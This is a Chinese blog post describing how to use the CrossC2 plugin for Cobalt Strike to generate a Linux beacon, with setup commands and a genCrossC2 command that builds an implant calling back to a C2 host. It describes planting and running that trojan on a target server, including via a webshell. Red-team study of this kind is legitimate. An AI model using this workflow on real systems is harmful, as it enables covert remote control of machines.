Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

关于CS上线Linux主机(CrossC2)

内网渗透 Adminxe 16166℃ 0评论

0x01 前言

Cross C2是一个支持Linux & MacOS系统的拓展插件,支持用户自定义生成的动态库,以无文件落地的方式从内存中加载执行动态库或可执行文件。用法我的想法来说,相当于一个小集群,插件化方便利用,实际的渗透中意义并不大,更加实际于命令行渗透,做到无文件落地,过流量检测加密免杀等技术的研究。

简而言之:一个CS的简单小插件,目的就是上线Linux主机, 可做一些简单的操作,记录一下使用过程中遇到的一些问题,并且在使用中操作的正确性。

Cross c2支持架构说明:

0x02 创建监听器

通过文章的学习,了解到 Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听

Cobalt Strike -> Listeners -> Add

0x03 CrossC2插件的安装

首先:

server端,我们上传两个插件文件:

CrossC2.cna 和 genCrossC2.Linux,

并且在服务端加入命令执行的权限 chmod +x FileName

这边需要注意一点,对CrossC2的process路径的修改,一定要改到server端的绝对位置

当然,我看到网上说,通过 用nohup命令将CrossC2.cna添加到服务端插件中 ,我这边自己测试是没用任何用处的,因为你不设置,也同样可以上线,这里还是把网上说的留给大家,自行测试

nohup ./agscript [host] [port] [username] [password] CrossC2.cna &

其次:

这边介绍到Windows下GUI的操作,这里的主要操作就是在Client端进行插件的安装,讲cna文件集成到插件里面去,并且通过Client端进行重启,就会在导航栏呈现CrossC2的这个选项,但是本人测试,并无卵用,因为时间问题,也没有继续深一步思考,这边一样把操作图留给大家,也希望大家有任何问题在下面进行留言,互相学习进步

这个GUI没时间搞,先到这里

0x04 安装JDK1.8环境

这里就不多说了,借鉴网上大佬写好的,也没有测试,命令放下面

Centos7命令直接安装并自动配置环境变量 (没测试)

yum install java-1.8.0-openjdk* -y

查看java版本号,并且查看是否安装成功,这边还是推荐java 1.8版本

java --version

0x05 生成可执行文件并上线Linux

[usage]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName] -platform  'MacOS' / 'Linux'   -arch  'x86' / 'x64'
[ex]:    ./genCrossC2.Linux 127.0.0.1 12345 null null Linux x64 C2

我这边使用Kali做演示机器,进行上线,首先将生成的木马文件放入到目标服务器–>运行权限的赋予–>运行–>上线,这是大体的流程

简单命令的操作演示:

看到老描述,可以运用到webshell中,但是碰巧遇到一个报错执行不了,是因为glibc动态库版本的问题

查看当前glibc动态库版本

strings /lib64/libc.so.6 |grep GLIBC

虽然存在libc.so.6,但是调用的动态库版本不一样,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17

所以解决方法是去官方:http://ftp.gnu.org/gnu/libc/
下载对应版本库 -> 解压 -> 进入目录 -> 编译 -> 安装
但是覆盖或者升级动态库的后果可能会比较严重,这里就不继续了

0x06 总结

2020.7.11 ,心烦,做一些自己力所能及的事情,做个人一定要实际,我始终还在看到那些0工资,每月花呗负债好多的人,就感觉难受想要发火,两个人的付出是互相的,不是经济差距,而是我看不懂你这种经济 消费手段,生活呀,且行且珍惜!CS之CrossC2的文章到此结束,带着不高兴的状态写的,终归心里还是不舒服,慢慢在改变自己的心态,放松,放松,relax,relaxing……

转载请注明:Adminxe's Blog » 关于CS上线Linux主机(CrossC2)

喜欢 (24)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(2)个小伙伴在吐槽
  1. 大哥文章都 好棒
    g'h'r'tv2021-09-28 11:15 回复
  2. c2用4.1的可以吗
    mamba2021-10-26 20:49 回复